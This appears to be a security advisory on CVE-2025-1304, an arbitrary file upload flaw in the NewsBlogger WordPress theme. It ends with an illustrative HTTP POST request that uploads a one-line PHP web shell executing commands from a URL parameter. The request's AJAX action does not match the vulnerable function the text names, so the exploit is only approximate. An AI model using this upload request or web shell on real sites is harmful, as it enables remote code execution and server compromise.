CVE-2025-1304: Unauthorized File Upload Vulnerability in NewsBlogger WordPress Theme

Overview

In the rapidly evolving digital landscape, cyber threats have become a substantial concern for many organizations. One of the latest vulnerabilities discovered is CVE-2025-1304, which affects the NewsBlogger theme for WordPress, a popular CMS (Content Management System). The vulnerability lies within the newsblogger_install_and_activate_plugin() function, which lacks a necessary capability check, leading to potential unauthorized file uploads.
This vulnerability matters because it gives attackers with subscriber-level access the potential to upload arbitrary files onto the affected site’s server. In a worst-case scenario, this could result in remote code execution, compromising the entire system or leading to substantial data leakage.

Vulnerability Summary

CVE ID: CVE-2025-1304
Severity: High (8.8)
Attack Vector: Network
Privileges Required: Low (Subscriber-level access)
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

NewsBlogger Theme for WordPress | Up to and including 0.2.5.1

How the Exploit Works

The exploit takes advantage of a missing capability check in the newsblogger_install_and_activate_plugin() function. This function, present in the NewsBlogger WordPress Theme, fails to properly verify the user’s privileges when uploading a file. As a result, even a user with minimal privileges, such as a subscriber, can upload arbitrary files onto the server.
This vulnerability opens the door for a potential remote code execution attack. If an attacker uploads a malicious file and is able to execute it, they could potentially gain control of the server, leading to system compromise or significant data leakage.

Conceptual Example Code

The following is a conceptual example of how an attacker might exploit this vulnerability by sending an HTTP POST request with a malicious file:

POST /wp-admin/admin-ajax.php?action=newsblogger_upload_file HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="malicious.php"
Content-Type: application/x-php
<?php echo shell_exec($_GET['cmd']); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--

In this example, a PHP file that contains a command execution function is uploaded. If the server processes this file, it could lead to remote code execution, compromising the system.